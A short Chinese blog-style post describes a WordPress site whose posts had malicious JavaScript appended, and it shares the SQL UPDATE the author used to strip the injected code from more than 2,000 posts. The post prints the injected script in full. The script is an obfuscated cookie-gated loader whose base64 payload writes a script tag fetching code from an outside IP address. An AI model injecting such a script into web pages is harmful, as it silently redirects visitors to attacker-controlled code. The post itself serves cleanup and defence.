前几天一位老哥的网站上的文章末尾,全部被注入了一个JS代码,进入文章页时会强制跳转,代码如下
<!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe-->
我去数据库中查看,在wp_post表的wp_content字段中,也确实发现了这个代码,但是,在数据库搜索这个脚本时,base64后面的字符串每个文章都是不一样的,那就无法使用替代/删除的办法了。要是手动删除2000多个帖子,要删到猴年马月去。最终查询了N多资料后,再国外的一个论坛上找到了解决办法。
UPDATE wp_posts SET post_content =
SUBSTRING(post_content, 1, LOCATE('<!--codes_iframe-->', post_content)-1)
WHERE LOCATE('<!--codes_iframe-->', post_content) >0;
最终使用这行命令清除了2000+文章的恶意脚本